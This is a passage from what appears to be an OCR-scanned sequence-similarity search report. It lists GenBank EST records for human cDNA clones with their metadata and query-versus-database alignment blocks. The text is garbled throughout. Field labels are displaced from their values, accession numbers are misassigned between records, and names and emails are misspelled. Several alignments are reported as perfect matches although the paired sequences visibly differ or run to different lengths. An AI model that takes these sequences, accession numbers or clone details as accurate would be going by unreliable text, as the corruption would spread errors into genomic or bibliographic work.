QY 1370 CTTCT 1429
DB 227 CTTCT 168
QY 1430 TCT 1489
DB 167 TCT 108
QY 1490 TCTGAGATGTCAGCGGCTGCTGAGAGCGGAGCGGAGCTGAGAGCGGAGCT 1549
DB 107 TCTGAGATGTCAGCGGCTGCTGAGAGCGGAGCGGAGCTGAGAGCGGAGCT 48
QY 1550 TCTGAGATGTCAGCGGCTGCTGAGAGCGGAGCGGAGCTGAGAGCGGAGCT 1596
DB 47 TCTGAGATGTCAGCGGCTGCTGAGAGCGGAGCGGAGCTGAGAGCGGAGCT 1

RESULT 5
BO109456 720 bp mRNA linear EST 16-APR-2002
LOCUS IMAGE5217439 5', mRNA sequence.
DEFINITION IMAGE5217439 5', mRNA sequence.
ACCESSION BO109456
VERSION BO109456.1 GI:20159110
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Hominoidea; Homo.
REFERENCE 1 (bases 1 to 720)
AUTHORS Kale,P.I., Harsch,T.J., Folta,P.A., Nelson,D.O., Sanders,C.G. and
Prange,C.K.
TITLE The I.M.A.G.E. Consortium quality control effort: clone
resequencing for verification
JOURNAL Unpublished (2001)
COMMENT Other ESTs: B1912225
Contact: Prange CK
The I.M.A.G.E. Consortium
Lawrence Livermore National Laboratory
Livermore, CA, USA

Email: help@image.llnl.gov
This read has been verified (found to hit its original self in the correct orientation), as part of the I.M.A.G.E. Consortium quality control effort. High quality sequence is defined as having 100 or more base pairs with a phred quality value of 20 or greater, where a sliding window of 4 base pairs with a phred quality value of 15 or greater marks the beginning and end of the sequence. For information on obtaining this clone, please contact
info@image.llnl.gov.

Plate: LLM11546 row: 9 column: 8
Seq primer: m31rpl
High quality sequence stop: 720.

FEATURES

source

1. 720
Location/Qualifiers
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone_image="5217439"
/clone_lib="NIH_MGC_118"
/tissue_type="Leukocyte"
/lab_host="DH10B"
/note="Vector: pCMV-SPORT6; Site_1: NotI; Site_2: EcoRV (destroyed); RNA source: Leukocytes from anonymous pool of non-activated adult donors. Library is oligo- or primed and directionally cloned (EcoRV site is destroyed upon cloning). Average insert size 1.7 kb, insert size range 1.2-3.3 kb. Library is normalized and enriched for full-length clones and was constructed by C. Gruber (Invitrogen). Research Genetics tracking code 027. Note: this is a NIH_MGC Library."
114 a 239 c 265 g 102 t

BASE COUNT

114 a 239 c 265 g 102 t

FEATURES

source

RESULT 6
LOCUS AT169914/c 772 bp mRNA linear EST 21-DEC-1999
DEFINITION wj30d06.x1 NCI_CGAP_Kid12 Homo sapiens CDNA clone IMAGE:2404331 3' similar to TR:088886 088886 SPHINGOSINE KINASE. ; mRNA sequence.
ACCESSION AT169914
VERSION AT169914.1 GI:5236423
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi; Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE 1 (bases 1 to 772)
AUTHORS NCI-CGAP http://www.ncbi.nlm.nih.gov/ncicgap.
TITLE National Cancer Institute, Cancer Genome Anatomy Project (CGAP), Tumor Gene Index
JOURNAL Unpublished (1997)
COMMENT Contact: Robert Strausberg, Ph.D.
Email: cgapbs-remail.nih.gov
Tissue Procurement: Christopher Moskaluk, M.D., Ph.D., Michael R. Emmert-Buck, M.D., Ph.D.
CDNA Library Preparation: M. Bento Soares, Ph.D.
CDNA Library Arrayed by: Greg Lennon, Ph.D.
DNA Sequencing by: Washington University Genome Sequencing Center
Clone distribution: NCI-CGAP clone distribution information can be found through the I.M.A.G.E. Consortium/LLNL at: www.bio.llnl.gov/bbrp/image/image.html
Insert Length: 1211 Std Error: 0.00
Seq primer: -400P from Glibco
High quality sequence stop: 467.
Location/Qualifiers
1. 772
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone_image="2404331"
/clone_lib="NCI_CGAP_Kid12"
/tissue_type="2 pooled tumors (clear cell type)"
/lab_host="DH10B"
/note="Organ: Kidney; Vector: p772D-Pac (Pharmacia) with a modified polylinker. Site_1: Not I; Site_2: Eco RI; Plasmid DNA from the normalized library NCI_CGAP_Kid12 was prepared, and ss circles were made in vitro. Following HAP purification, this DNA was used as tracer in a subtractive hybridization reaction. The driver was PCR-amplified cDNAs from a pool of 5,000 clones made from the same library (clonoids 1323912-1325831, 1471368-1472903 and 1492104-1493255). Subtraction by Bento Soares and M. Fatima Bonaldo."

BASE COUNT

170 a 244 c 213 g 143 t 2 others

ORIGIN

Query Match 28.0%; Score 447; DB 9; Length 772;

Best Local Similarity 99.5%; Pred. No. 2.9e-203; Indels 0; Gaps 0;

Matches: 597; Conservative 0; Mismatches 3; Indels 0; Gaps 0;

941 ACTTGTGCTAGTCCGCGACGTCGACATGTCACCTGCGCATGAGATGTCGCAC 1000
|||||
660 ACTTGTGCTAGTCCGCGACGTCGACATGTCACCTGCGCATGAGATGTCGCAC 601
|||||
1001 CCATGGGCGCTGTGACGTCGTCATGATCTGTTACGTCGCGGCGGAGTGTCTC 1060
|||||
600 CCATGGGCGCTGTGACGTCGTCATGATCTGTTACGTCGCGGCGGAGTGTCTC 541
|||||
1061 GTGCCATGCTGTGCGCCCTCTTCGTCGCGCATGAGAGGCGCATATGAGTGAAT 1120
|||||
540 GTGCCATGCTGTGCGCCCTCTTCGTCGCGCATGAGAGGCGCATATGAGTGAAT 481
|||||
1121 GCCCCTACTGATATATGCGCCGTCGTCCTCGCTTGAGGCCAAGATGGGAAG 1180
|||||
480 GCCCCTACTGATATATGCGCCGTCGTCCTCGCTTGAGGCCAAGATGGGAAG 421
|||||
1181 GTGTGTTGACATGATGAGGGAATGATGTTAGGAGGCGCTGCAGGCGCATGTCAC 1240
|||||

Db 420 GTCTGTTGACATGAGGGAATGATGCTTACGAGGCCGCTGACAGGCCAGGTGACAC 361
 OY 1241 CAAACTACTTGTGATGATGAGGCTTGTGCTGAGAGCCGCCAGCAGTGAAGACCCAGC 1300
 Db 360 CAAACTACTTGTGATGATGAGGCTTGTGCTGAGAGCCGCCAGCAGTGAAGACCCAGC 301
 OY 1301 AGATGCCACGCCAGAGAGCCCTTATGACCCCTGAGGCCGCGCTGTGCTTATGATGCTAC 1360
 Db 300 AGATGCCACGCCAGAGAGCCCTTATGACCCCTGAGGCCGCGCTGTGCTTATGATGCTTAC 241
 OY 1361 TTGCAGAGACCTTCT 1420
 Db 240 TTGCAGAGACCTTCT 181
 OY 1421 GGAGAGACCTTCT 1480
 Db 180 GGAGAGACCTTCT 121
 OY 1481 AGATGAAGCT 1540
 Db 120 AGATGAAGCT 61

RESULT 7
 A1042283 447 bp mRNA linear EST 24-SEP-1998
 LOCUS oyl1e09.x1 Soares_senescent_fibroblasts_NbHSF Homo sapiens cDNA
 DEFINITION clone IMAGE:165736 3', mRNA sequence.
 VERSION A1042283
 ACCESSION A1042283.1 GI:3281477
 KEYWORDS EST.
 SOURCE human.
 ORGANISM Homo sapiens

REFERENCE 1 (bases 1 to 447)
 AUTHORS Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
 TITLE NCI-CGAP http://www.ncbi.nlm.nih.gov/ncicgap.
 JOURNAL National Cancer Institute, Cancer Genome Anatomy Project (CGAP).
 COMMENT Contact: Robert Strausberg, Ph.D.
 Email: cgapbs@mail.nih.gov
 This clone is available royalty-free through LNL; contact the
 IMAGE Consortium (info@image.llnl.gov) for further information.
 Insert length: 693 Std Error: 0.00
 Seq primer: -40ml3 fwd. ET from Amerham
 High quality sequence stop: 376.
 Location/Qualifiers

FEATURES

1..447
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /clone="IMAGE:165736"
 /clone_lib="Soares_senescent_fibroblasts_NbHSF"
 /tissue_type="senescent_fibroblast"
 /lab_host="DH10B (ampicillin resistant)"
 /note="Vector: pT73D (Pharmacia) with a modified
 polylinker V-type: phagemid; Site_1: Not I; Site_2: Eco RI
 ; 1st strand cDNA was primed with a Not I - oligo(dt)
 primer [5'
 TGTACCAATCTGACGTGGAGCGCCGCAATTTTTTTTTTTTTTTT 3']
 double-stranded cDNA was size selected, ligated to Eco RI
 adapters (Pharmacia), digested with Not I and cloned into
 the Not I and Eco RI sites of a modified pT73 vector
 (Pharmacia). Library went through one round of
 normalization to a Col = 5. Library constructed by Bento
 Soares and M. Fatima Boudado."
 BASE COUNT 87 a 142 c 122 g 97 t

Query Match 27 5%: Score 440: DB 9: Length 447;
 Best Local Similarity 100.0%: Pred. No. 6e-200:
 Matches 440: Conservative 0: Mismatches 0: Indels 0: Gaps 0:

OY 1160 TGCAGCCCAAGGATGCGAAGAGCTGTTCGACGATGATGGGAATGATGATGAGCAGC 1219
 Db 447 TGCAGCCCAAGGATGCGAAGAGCTGTTCGACGATGATGGGAATGATGATGAGCAGC 388
 OY 1220 CCGTCAGAGGCGAGTGTGACCCAAACTACTTGTGATGCTCAGGCTTGTGATGAGCAGC 1279
 Db 387 CCGTCAGAGGCGAGTGTGACCCAAACTACTTGTGATGCTCAGGCTTGTGATGAGCAGC 328
 OY 1280 CCGCCAGCTGGAAGCCCGACAGATGCCACCGCAGAGAGCCCTTATGACCCCTGAGCC 1339
 Db 327 CCGCCAGCTGGAAGCCCGACAGATGCCACCGCAGAGAGCCCTTATGACCCCTGAGCC 268
 OY 1340 GCCTGTGCTTACTGATGCTTACTTACTTACTTACTTACTTACTTACTTACTTACTTACTTACT 1399
 Db 267 GCCTGTGCTTACTGATGCTTACTTACTTACTTACTTACTTACTTACTTACTTACTTACTTACT 208
 OY 1400 GTCCAGAGCTCTGTGAGGAGTGTGAGAGACTCTCTGTGAGAGAGGTGAGAGTGTGAGAGC 1459
 Db 207 GTCCAGAGCTCTGTGAGGAGTGTGAGAGACTCTCTGTGAGAGAGGTGAGAGTGTGAGAGC 148
 OY 1460 TATGCTTTGGGGGAGACAGCCCAAGATGATGATGATGATGATGATGATGATGATGATG 1519
 Db 147 TATGCTTTGGGGGAGACAGCCCAAGATGATGATGATGATGATGATGATGATGATGATG 88
 OY 1520 CAGCTGCTTATGTAAGGCTTCTAGTTTGTGAGACCCCGACCCAGACCAATTC 1579
 Db 87 CAGCTGCTTATGTAAGGCTTCTAGTTTGTGAGACCCCGACCCAGACCAATTC 28
 OY 1580 AATTAAGTACATTCGCCAA 1599
 Db 27 AATTAAGTACATTCGCCAA 8

RESULT 8
 AUI47968 587 bp mRNA linear EST 05-AUG-2002
 LOCUS AUI47968 MAMMAL1 Homo sapiens cDNA clone MAMMAL1002268 3', mRNA
 DEFINITION sequence.
 VERSION AUI47968
 ACCESSION AUI47968.1 GI:11009489
 KEYWORDS EST.
 SOURCE human.
 ORGANISM Homo sapiens

REFERENCE 1 (bases 1 to 587)
 AUTHORS Ota,T., Nishikawa,T., Suzuki,Y., Ishii,S., Saito,K., Kawai,Y.,
 Yamamoto,J., Makatsutsu,A., Ozawa,M., Nakamura,Y., Nagai,T., Sugano
 S. and Isogai,T.).
 HRI human cDNA project (Ota,T., Nishikawa,T., Suzuki,Y., Ishii,S.,
 Saito,K., Kawai,Y., Yamamoto,J., Makatsutsu,A., Ozawa,M., Nakamura
 Y., Nagai,T., Sugano,S., Isogai,T.)
 Unpublished (2000)

JOURNAL

COMMENT Contact: Takao Isogai
 Genomics Laboratory
 Helix Research Institute
 1532-3 Yana, Kisarazu, Chiba 292-0812, Japan
 Tel.: 81-438-52-3875
 Fax: 81-438-52-3886
 Email: genomics@helix.co.jp
 HRI human cDNA project; 3'- & 3'-end one pass sequencing: Helix
 Research Institute; cDNA library construction: Department of
 Virology, Institute of Medical Science, University of Tokyo, and
 Helix Research Institute.
 Location/Qualifiers

FEATURES

1..587
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /clone="MAMMAL1002268"
 /clone_lib="MAMMAL1"
 /tissue_type="mammary gland"
 /note="Vector: pMT189PL3"
 BASE COUNT 130 a 183 c 156 g 112 t 6 others

ORIGIN

Query Match 27.5%; Score 440; DB 9; Length 587;
Best Local Similarity 100.0%; Pred. No. 6.3e-200;
Matches 440; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

OY 1159 TTGAGCCCAAGATGGGAAAGTGTGTTGTCAGTGTAGGAAATGATGTTAGCGAG 1218
|||||
DB 445 TTGAGCCCAAGATGGGAAAGTGTGTTGTCAGTGTAGGAAATGATGTTAGCGAG 386
|||||

OY 1219 GCCGTGCAAGGCGCAGGTGCACCAAACTACTTCTGATGTCAGCGGTTGCGTGAAGCC 1278
|||||
DB 385 GCCGTGCAAGGCGCAGGTGCACCAAACTACTTCTGATGTCAGCGGTTGCGTGAAGCC 326
|||||

OY 1279 CCGCCAGCTGGAAGCCCGCAGATGTCACCGCAGAAAGACCCCTTATGACCCCTGGCC 1338
|||||
DB 325 CCGCCAGCTGGAAGCCCGCAGATGTCACCGCAGAAAGACCCCTTATGACCCCTGGCC 266
|||||

OY 1339 CGCGCTGTGCTTACTTCTACTTTCAGAGACCCCTTCTCTCTAGGCGTGCAGAGCC 1398
|||||
DB 265 CGCGCTGTGCTTACTTCTACTTTCAGAGACCCCTTCTCTCTAGGCGTGCAGAGCC 206
|||||

OY 1399 TGTCCACAGACTCTGTGGGGGTGAGAGACTCTCTGTGGAAGAAGGTGAGAG 1458
|||||
DB 205 TGTCCACAGACTCTGTGGGGGTGAGAGACTCTCTGTGGAAGAAGGTGAGAG 146
|||||

OY 1459 CTATGCTTTGGGGGAGCAGAGCCAGATGAATGCTGGGTGAGAGCCCGAGTGGCGG 1518
|||||
DB 145 CTATGCTTTGGGGGAGCAGAGCCAGATGAATGCTGGGTGAGAGCCCGAGTGGCGG 86
|||||

OY 1519 CCAGCTGCTATGTAAAGGCTTCTAGTTGTTCTGAGAGCCCGCAGCAACCAATC 1578
|||||
DB 85 CCAGCTGCTATGTAAAGGCTTCTAGTTGTTCTGAGAGCCCGCAGCAACCAATC 26
|||||

OY 1579 CAAATTAAGTGCATTCCCA 1598
|||||
DB 25 CAAATTAAGTGCATTCCCA 6
|||||

RESULT 9
LOCUS BE274434 852 bp mRNA linear EST 13-JUL-2000
DEFINITION 60110471P1 NIH_MGC_20 Homo sapiens cDNA clone IMAGE:2967353 5',
mRNA sequence.
ACCESSION BE274434
VERSION BE274434.1 GI:9149375
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
1 (bases 1 to 852)
NIH-MGC <http://mgc.nci.nih.gov/>.
National Institutes of Health, Mammalian Gene Collection (MGC)
Unpublished (1999)
Contact: Robert Strausberg, Ph.D.
Email: cgapbs-remail.nih.gov
Tissue Procurement: ATCC/DCTD/DPF
cDNA Library Preparation: Ling Hong/Rubin Laboratory
DNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL)
DNA Sequencing by: Incyte Genomics, Inc.
Clone distribution: MGC clone distribution information can be
found through the I.M.A.G.E. Consortium/LLNL at: image.llnl.gov
Plate: LICM71 row: m column: 18
High quality sequence stop: 827.
Location/Qualifiers
1..852
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:2967353"
/clone_lib="NIH_MGC_20"
/tissue_type="melanotic melanoma"
/lab_host="DH10B (phage-resistant)"

BASE COUNT 132 a 278 c 301 g 141 t

ORIGIN

Query Match 26.4%; Score 422; DB 10; Length 852;
Best Local Similarity 99.8%; Pred. No. 2.9e-191;
Matches 542; Conservative 0; Mismatches 0; Indels 1; Gaps 1;

OY 18 AGCAGGCTCCGGCGGGGAAGGAGCCGACACCGGCGCTCGAGCGCCGCTGGG 77
|||||
DB 153 AGCAGGCTCCGGCGGGGAAGGAGCCGACACCGGCGCTCGAGCGCCGCTGGG 212
|||||

OY 78 CAGCAGCGTAAAGAGCTGAAGGAGAGAGCGCGCAGCGGCGGCGCCGACAGCGCC 137
|||||
DB 213 CAGCAGCGTAAAGAGCTGAAGGAGAGAGCGCGCAGCGGCGGCGCCGACAGCGCC 272
|||||

OY 138 AGGAGCCCGCTGGAGCGGAGCCCGGGGTGAGGTTATGATCCAGCGGGGCGCCCG 197
|||||
DB 273 AGGAGCCCGCTGGAGCGGAGCCCGGGGTGAGGTTATGATCCAGCGGGGCGCCCG 332
|||||

OY 198 GGGCGTGTCCCGCGGCGCTGCGGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 257
|||||
DB 333 GGGCGTGTCCCGCGGCGCTGCGGCTGTGTGTGTGTGTGTGTGTGTGTGTGTGTGT 392
|||||

OY 258 CAAGGCTTGCAGCTCTTCCGAGTACAGTGCAGCGCCCTTTGGC-TGAGGCTGAATCT 316
|||||
DB 393 CAAGGCTTGCAGCTCTTCCGAGTACAGTGCAGCGCCCTTTGGC-TGAGGCTGAATCT 452
|||||

OY 317 CCTTCAGCTGATGCTCACTGAGCGGCGGAGACAGCGCGGAGGCTGTGCGTGGAG 376
|||||
DB 453 CCTTCAGCTGATGCTCACTGAGCGGCGGAGACAGCGCGGAGGCTGTGCGTGGAG 512
|||||

OY 377 AGCTGGCGCTGGAGCGCTGTGCTGTATGTGTGAGACGCGCTGATGACAGAGTGG 436
|||||
DB 513 AGCTGGCGCTGGAGCGCTGTGCTGTATGTGTGAGACGCGCTGATGAGTGG 572
|||||

OY 437 TGACGGGCTATGAGCGCGCTGACTGGAGACCGCGCTGAGAGCGCGCTGTAGCC 496
|||||
DB 573 TGACGGGCTATGAGCGCGCTGACTGGAGACCGCGCTGAGAGCGCGCTGTAGCC 632
|||||

OY 497 TCCAGAGAGCTGTGGCAAGCGCGTGGCGAGCTTCTTGAACCATTAATGCTGTAGCC 556
|||||
DB 633 TCCAGAGAGCTGTGGCAAGCGCGTGGCGAGCTTCTTGAACCATTAATGCTGTAGCC 692
|||||

OY 557 AGG 559
|||||
DB 693 AGG 695
|||||

RESULT 10
LOCUS BM557357 1075 bp mRNA linear EST 20-FEB-2002
DEFINITION AGENCOURT_6578959 NIH_MGC_41 Homo sapiens cDNA clone IMAGE:5466709
5', mRNA sequence.
ACCESSION BM557357
VERSION BM557357.1 GI:18799279
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
1 (bases 1 to 1075)
NIH-MGC <http://mgc.nci.nih.gov/>.
National Institutes of Health, Mammalian Gene Collection (MGC)
Unpublished (1999)
Contact: Robert Strausberg, Ph.D.

1445 TGAGAGGTGAGGCTATGCTTTGGGGGACAGCCAGCAATGAATGCTGGTCAAGAC 1504
|||||
167 TGAGAGGTGAGGCTATGCTTTGGGGGACAGCCAGCAATGAATGCTGGTCAAGAC 108
|||||
1505 CCAGCTGGCTGGGCCAGCTGCTATGTAAGGCTT 1540
|||||
107 CCAGCTGGCTGGGCCAGCTGCTATGTAAGGCTT 72
|||||

RESULT 12
BM471470 416 bp mRNA linear EST 05-FEB-2002
LOCUS BE275818
DEFINITION AGENCOURT.6478178 NIH_MGC_72 Homo sapiens cDNA clone IMAGE:5563230
5' mRNA sequence.
ACCESSION BM471470
VERSION BM471470.1 GI:18520512
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE 1 (bases 1 to 416)
AUTHORS NIH-MGC http://mgi.nci.nih.gov/.
TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
JOURNAL Unpublished (1999)
COMMENT Contact: Robert Strausberg, Ph.D.
Email: cgapbs-remail.nih.gov
Tissue Procurement: ATCC/DCTD/DTF
cDNA Library Preparation: Life Technologies, Inc.
DNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL)
DNA Sequencing by: Agencourt Bioscience Corporation
Clone distribution: MGC clone distribution information can be
found through the I.M.A.G.E. Consortium/LLNL at:
http://image.llnl.gov
Plate: LLM12293 row: 0 column: 07
High quality sequence stop: 415.
Location/Qualifiers
1. 416
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:5563230"
/clone_lib="NIH_MGC_72"
/tissue_type="melanotic melanoma"
/note="Organ: skin; Vector: pCMV-SPORT6; Site_1: NotI;
Site_2: SalI; Cloned unidirectionally. Primer: Oligo dT.
Average insert size 2 kb. Library constructed by Life
Technologies."

BASE COUNT 95 a 118 c 125 g 78 t
ORIGIN

Query Match 25.0%; Score 399; DB 13; Length 416;
Best Local Similarity 100.0%; Pred. No. 2.8e-180;
Matches 399; Conservative 0; Mismatches 0; Indels 0; Gaps 0;

1200 GGAATTGATGCTTACGAGCGCGTCAGAGCCAGGACCCCAACTACTTCTGATGCT 1259
|||||
1 GGAATTGATGCTTACGAGCGCGTCAGAGCCAGGACCCCAACTACTTCTGATGCT 60
|||||

1260 CAGCGGTTGCTGAGGCCCGCCAGCTGGAAGCCCGACGATGCCACGCCAGAGA 1319
61 CAGCGGTTGCTGAGGCCCGCCAGCTGGAAGCCCGACGATGCCACGCCAGAGA 120
|||||

1320 GCCCTTATGACCCCGCGCGCGCTGCTTACTTACTTTCAGAGACCTTCTCTCT 1379
|||||

121 GCCCTTATGACCCCGCGCGCGCTGCTTACTTACTTTCAGAGACCTTCTCTCT 180
|||||

1380 TCCCTAGGAGCTCAGAGGCTGTCACAGCTCTGTTGGGGGTGAGAGACTCTCTGGAG 1439
181 TCCCTAGGAGCTCAGAGGCTGTCACAGCTCTGTTGGGGGTGAGAGACTCTCTGGAG 240
|||||

1440 AAGGTTGAGAAAGTGGAGGCTATGCTTTGGGGGAGAGGCCAGAAATGAATGCTCTGGTCA 1499
|||||

241 AAGGTTGAGAAAGTGGAGGCTATGCTTTGGGGGAGAGGCCAGAAATGAATGCTCTGGTCA 300
|||||

1500 GGAGCCAGCTGCTGGGCCAGCTGCTATGTAAGGCTTACTTCTTGTGAGACC 1559
|||||

301 GGAGCCAGCTGCTGGGCCAGCTGCTATGTAAGGCTTACTTCTTGTGAGACC 360
|||||

1560 CCAGCCAGCAACCAATCAATTAAGGATTCACA 1598
|||||

361 CCAGCCAGCAACCAATCAATTAAGGATTCACA 399
|||||

RESULT 13
BE275818 603 bp mRNA linear EST 13-JUL-2000
LOCUS 60112161 NIH_MGC_20 Homo sapiens cDNA clone IMAGE:3346011 5',
mRNA sequence.
ACCESSION BE275818
VERSION BE275818
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE 1 (bases 1 to 603)
AUTHORS NIH-MGC http://mgi.nci.nih.gov/.
TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
JOURNAL Unpublished (1999)
COMMENT Contact: Robert Strausberg, Ph.D.
Email: cgapbs-remail.nih.gov
Tissue Procurement: ATCC/DCTD/DTF
cDNA Library Preparation: Ling Hong/Rubin Laboratory
DNA Library Arrayed by: The I.M.A.G.E. Consortium (LLNL)
DNA Sequencing by: Incyte Genomics, Inc.
Clone distribution: MGC clone distribution information can be
found through the I.M.A.G.E. Consortium/LLNL at: image.llnl.gov
Plate: LLM134 row: 0 column: 04
High quality sequence stop: 599.
Location/Qualifiers
1. 603
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:3346011"
/clone_lib="NIH_MGC_20"
/tissue_type="melanotic melanoma"
/note="Organ: skin; Vector: pORF7; Site_1: XhoI; Site_2:
EcoRI; cDNA made by oligo-dT priming. Directionally
cloned into EcoRI/XhoI sites using the following 5'
adaptor: GGCACGAG(G). Size-selected >500bp for average
insert size 1.8kb. Library constructed by Ling Hong in
the laboratory of Gerald M. Rubin (University of
California, Berkeley) using ZAP-cDNA synthesis kit
(Stratagene) and Superscript II RT (Life Technologies)."

BASE COUNT 100 a 167 c 206 g 130 t
ORIGIN

Query Match 24.6%; Score 393; DB 10; Length 603;
Best Local Similarity 99.6%; Pred. No. 2.2e-177;
Matches 493; Conservative 0; Mismatches 2; Indels 0; Gaps 0;

925 GTGTTGCCGAGAGACTTGTGCTAGCTCGGACACTCTGACCTGCGACCT 984
|||||

45 GTGTTGCCGAGAGACTTGTGCTAGCTCGGACACTCTGACCTGCGACCT 104
|||||

985 GAGATGTTGCTGACACCCATGCGCGCTGTCAGCTGGCTGATCATCTGTTTACGTT 1044
|||||

105 GAGATGTTGCTGACACCCATGCGCGCTGTCAGCTGGCTGATCATCTGTTTACGTT 164
|||||

1045 CGGGGCGAGTGTCTGTCGTCATGCTGCGCGCTCTCCCTGAGAGAGAGGCGAG 1104
|||||

165 CGGGGCGAGTGTCTGTCGTCATGCTGCGCGCTCTCTCTGAGAGAGGCGAG 224
|||||

```
QY 1105 CATATGAGATGAAATGCCCCCTACTGTGATATGTCGCCGTCCTCCGCTTGAG 1164
DB 225 CATATGAGATGAAATGCCCCCTACTGTGATATGTCGCCGTCCTCCGCTTGAG 284
QY 1165 CCCAGAGATGGAAGAGTGTCTTTCGACATGATGAGGAATGATGTTAGCAGAGCCGTG 1224
DB 285 CCCAGAGATGGAAGAGTGTCTTTCGACATGATGAGGAATGATGTTAGCAGAGCCGTG 344
QY 1225 CAGGGCCAGTGCACCCCAACTACTTGTGATGTCACGGTTCGTGAGCCCGCCG 1284
DB 345 CAGGGCCAGTGCACCCCAACTACTTGTGATGTCACGGTTCGTGAGCCCGCCG 404
QY 1285 AGCTGGAAGCCCCAGACAGATGACACCCAGAGAGCCCTTATGAGCCCTGAGCCGCT 1344
DB 405 AGCTGGAAGCCCCAGACAGATGACACCCAGAGAGCCCTTATGAGCCCTGAGCCGCT 464
QY 1345 GTGCTTAACTGCTACTTGCAGAGACCTTCTCTTCCCTAGGGCTGACAGGCTGTGCA 1404
DB 465 GTGCTTAACTGCTACTTGCAGAGACCTTCTCTTCCCTAGGGCTGACAGGCTGTGCA 524
QY 1405 CAGCTCCTGTGGGG 1419
DB 525 CAGCTCCTGTGGGG 539

RESULT 14
BM550039 1115 bp mRNA linear EST 20-FEB-2002
LOCUS AGENCOURT_6544088 NIH_MGC_118 Homo sapiens cDNA clone IMAGE:5745953
DEFINITION 5', mRNA sequence.
ACCESSION BM550039
VERSION BM550039.1 GI:18785920
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Hominiidae; Homo.
REFERENCE 1 (bases 1 to 1115)
AUTHORS NIH-MGC http://mgi.nci.nih.gov/
TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
JOURNAL Unpublished (1999)
COMMENT Contact: Robert Strausberg, Ph.D.
Email: cgaabs-remail.nih.gov
Tissue Procurement: Life Technologies, Inc.
cDNA Library Preparation: Life Technologies, Inc.
DNA Sequencing by: Agencourt Bioscience Corporation
Clone distribution: MGC clone distribution information can be
found through the I.M.A.G.E. Consortium/LLNL at:
http://image.llnl.gov
Plate: LHM12769 row: 1 column: 18
High quality sequence start: 20
High quality sequence stop: 451.
Location/Qualifiers
1. 1115
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="IMAGE:5745953"
/clone_lib="NIH_MGC_118"
/tissue_type="leukocyte"
/lab_host="DH10B"
/notes="vector: pCMV-SPT6; site:1: NotI; site:2: EcoRV
(deprecated); RNA source: leukocytes from anonymous pool of
non-activated adult donors. Library is destroyed upon
and directionally cloned (EcoRV site is destroyed upon
cloning). Average insert size 1.7 kb. Insert size range
1.2-3.3 kb. Library is normalized and enriched for
full-length clones and was constructed by C. Gruber
(invitrogen). Research Genetics tracking code 027. Note:
this is a NIH_MGC Library."

BASE COUNT 177 a 361 c 385 g 192 t
ORIGIN
```

```
Query Match 24 5%; Score 391; DB 13; Length 1115;
Best Local Similarity 99.8%; Pred No. 2,3e-176;
Matches 441; Conservative 0; Mismatches 1; Indels 0; Gaps 0;

QY 18 AGCCAGGCTCCGGGCGGGAAGCGAGCCAGAGCCGCTGAGAGCCGCGCTGGG 77
DB 203 AGCCAGGCTCCGGGCGGGAAGCGAGCCAGAGCCGCTGAGAGCCGCGCTGGG 262
QY 78 CAGCACCATTAAGAGCTGAAGGACAGACCCGCTGAGAGCCGCGCTGGG 137
DB 263 CAGCACCATTAAGAGCTGAAGGACAGACCCGCTGAGAGCCGCGCTGGG 322
QY 138 AGGAGCCCTGCTGACAGCGGAGCCGCGCTGAGAGCTGAAGCTGAAGGCTGG 197
DB 323 AGGAGCCCTGCTGACAGCGGAGCCGCGCTGAGAGCTGAAGCTGAAGGCTGG 382
QY 198 GAGCGTGTCCGCGCGGCTGCGCGCTGCTGCTGACACCCGCGCGCTGAAGG 257
DB 383 GAGCGTGTCCGCGCGGCTGCGCGCTGCTGCTGACACCCGCGCGCTGAAGG 442
QY 258 CAAAGCCTTGCAGCTCTTCCGAGTACGTACGACCCCTTTGGCTGAGGCTGAATTC 317
DB 443 CAAAGCCTTGCAGCTCTTCCGAGTACGTACGACCCCTTTGGCTGAGGCTGAATTC 502
QY 318 CTTCACGCTGATGCTACATGAGCGGCGGAGACCGCGGAGCTGTGCGGAGGA 377
DB 503 CTTCACGCTGATGCTACATGAGCGGCGGAGACCGCGGAGCTGTGCGGAGGA 562
QY 378 GCTGGGCGGCTGGAGCGCTGCTGCTGATGCTGAGAGAGGCGCTGATGCAAGGTGT 437
DB 563 GCTGGGCGGCTGGAGCGCTGCTGCTGATGCTGAGAGAGGCGCTGATGCAAGGTGT 622
QY 438 GAACGGGCTCATGAGAGCGGCT 459
